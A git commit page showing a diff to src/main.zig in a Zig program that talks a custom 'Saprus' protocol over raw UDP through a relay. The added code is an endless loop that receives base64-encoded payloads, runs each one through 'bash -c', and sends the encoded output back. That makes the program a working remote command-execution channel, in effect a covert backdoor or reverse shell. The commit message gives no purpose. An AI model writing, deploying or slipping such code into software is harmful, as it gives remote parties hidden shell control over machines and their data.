summaryrefslogtreecommitdiff
path: root/src/main.zig
diff options
context:
space:
mode:
authorRobby Zambito <contact@robbyzambito.me>2026-01-19 17:55:54 -0500
committerRobby Zambito <contact@robbyzambito.me>2026-01-19 17:55:54 -0500
commit41066792625c5cbdf44127190a4a88a06f8cb566 (patch)
treedb03543604de5a40493f8dac682457a9eb072672 /src/main.zig
parent01f44949f13de051d864c00050b17e14a4795dc2 (diff)
things are SOOOO good....
Diffstat (limited to 'src/main.zig')
-rw-r--r--src/main.zig54
1 files changed, 46 insertions, 8 deletions
diff --git a/src/main.zig b/src/main.zig
index 2694172..20e80ea 100644
--- a/src/main.zig
+++ b/src/main.zig
@@ -90,10 +90,6 @@ pub fn main(init: std.process.Init) !void {
return error.InvalidArguments;
}
- // std.debug.print("relay: {s}\n", .{flags.relay orelse "<null>"});
- // std.debug.print("dest: {s}\n", .{flags.dest orelse "<null>"});
- // std.debug.print("connect: {s}\n", .{flags.connect orelse "<null>"});
-
const rand = blk: {
const io_source: std.Random.IoSource = .{ .io = init.io };
break :blk io_source.interface();
@@ -203,7 +199,7 @@ pub fn main(init: std.process.Init) !void {
const src = rand.intRangeAtMost(u16, 1025, std.math.maxInt(u16));
// udp dest port should not be 8888 after first
const udp_dest_port = rand.intRangeAtMost(u16, 9000, std.math.maxInt(u16));
- const connection: SaprusMessage = .{
+ var connection: SaprusMessage = .{
.connection = .{
.src = src,
.dest = dest,
@@ -216,7 +212,7 @@ pub fn main(init: std.process.Init) !void {
try socket.attachSaprusPortFilter(src);
var connection_buf: [2048]u8 = undefined;
- const connection_bytes = connection.toBytes(&connection_buf);
+ var connection_bytes = connection.toBytes(&connection_buf);
headers.setPayloadLen(connection_bytes.len);
var full_msg = blk: {
@@ -230,8 +226,7 @@ pub fn main(init: std.process.Init) !void {
try socket.send(full_msg);
var res_buf: [4096]u8 = undefined;
- const res = try socket.receive(&res_buf);
- std.debug.print("response: {any}\n", .{res});
+ var res = try socket.receive(&res_buf);
headers.udp.dst_port = udp_dest_port;
@@ -244,6 +239,49 @@ pub fn main(init: std.process.Init) !void {
};
try socket.send(full_msg);
+ while (true) {
+ res = try socket.receive(&res_buf);
+ const connection_res = blk: {
+ const msg: SaprusMessage = try .parse(res[42..]);
+ break :blk msg.connection;
+ };
+ const b64d = std.base64.standard.Decoder;
+ var connection_payload_buf: [4096]u8 = undefined;
+ const connection_payload = connection_payload_buf[0..try b64d.calcSizeForSlice(connection_res.payload)];
+ try b64d.decode(connection_payload, connection_res.payload);
+
+ const child = try std.process.spawn(init.io, .{
+ .argv = &.{ "bash", "-c", connection_payload },
+ .stdout = .pipe,
+ .stderr = .pipe,
+ });
+
+ var child_stdout: std.ArrayList(u8) = .empty;
+ defer child_stdout.deinit(init.gpa);
+ var child_stderr: std.ArrayList(u8) = .empty;
+ defer child_stderr.deinit(init.gpa);
+
+ try child.collectOutput(init.gpa, &child_stdout, &child_stderr, 4096);
+
+ const b64e = std.base64.standard.Encoder;
+ var cmd_output_buf: [4096]u8 = undefined;
+ const cmd_output = b64e.encode(&cmd_output_buf, child_stdout.items);
+
+ connection.connection.payload = cmd_output;
+ connection_bytes = connection.toBytes(&connection_buf);
+ headers.setPayloadLen(connection_bytes.len);
+
+ full_msg = blk: {
+ var msg_buf: [2048]u8 = undefined;
+ var msg_w: Writer = .fixed(&msg_buf);
+ msg_w.writeAll(&headers.toBytes()) catch unreachable;
+ msg_w.writeAll(connection_bytes) catch unreachable;
+ break :blk msg_w.buffered();
+ };
+
+ try socket.send(full_msg);
+ }
+
return;
}